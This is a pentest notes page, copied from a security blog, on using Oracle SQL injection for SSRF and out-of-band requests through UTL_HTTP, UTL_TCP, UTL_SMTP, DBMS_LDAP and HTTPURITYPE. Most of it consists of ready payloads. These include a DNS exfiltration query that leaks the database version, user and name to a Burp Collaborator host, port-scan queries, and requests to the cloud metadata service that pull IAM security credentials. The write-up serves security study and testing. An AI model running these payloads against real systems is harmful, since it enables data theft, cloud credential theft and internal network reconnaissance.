8.3 KiB
Oracle injection
SSRF
Information copied from https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle****
Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at Appsecco, Abhisek Datta, pointed me to https://github.com/MaksymBilenko/docker-oracle-12c that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
I ran the docker command with the --network="host"
flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Oracle packages that support a URL or a Hostname/Port Number specification
In order to find any packages and functions that support a host and port specification, I ran a Google search on the Oracle Database Online Documentation. Specifically,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
The search returned the following results not all can be used to perform outbound network
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
This crude search obviously skips packages like DBMS_LDAP
which allows passing a hostname and port number
as the documentation page simply points you to a different location. Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.
In any case, let’s take a look at some of the packages that we have discovered and listed above.
DBMS_LDAP.INIT
The DBMS_LDAP
package allows for access of data from LDAP servers. The init()
function initializes a session with an LDAP server and takes a hostname and port number as an argument.
This function has been documented before to show exfiltration of data over DNS, like below
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.
Here are a few examples
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
shows that the port is closed while a session value points to the port being open.
UTL_SMTP
The UTL_SMTP
package is designed for sending e-mails over SMTP. The example provided on the Oracle documentation site shows how you can use this package to send an email. For us, however, the interesting thing is with the ability to provide a host and port specification.
A crude example is shown below with the UTL_SMTP.OPEN_CONNECTION
function, with a timeout of 2 seconds
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
A ORA-29276: transfer timeout
shows port is open but no SMTP connection was estabilished while a ORA-29278: SMTP transient error: 421 Service not available
shows that the port is closed.
UTL_TCP
The UTL_TCP
package and its procedures and functions allow TCP/IP based communication with services. If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.
The example on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page. We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.
UTL_HTTP and Web Requests
Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the UTL_HTTP
package. This package is defined by the documentation as - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
You could additionally, use this to perform some rudimentary port scanning as well with queries like
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
A ORA-12541: TNS:no listener
or a TNS:operation timed out
is a sign that the TCP port is closed, whereas a ORA-29263: HTTP protocol error
or data is a sign that the port is open.
Another package I have used in the past with varied success is the GETCLOB()
method of the HTTPURITYPE
Oracle abstract type that allows you to interact with a URL and provides support for the HTTP protocol. The GETCLOB()
method is used to fetch the GET response from a URL as a CLOB data type.select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;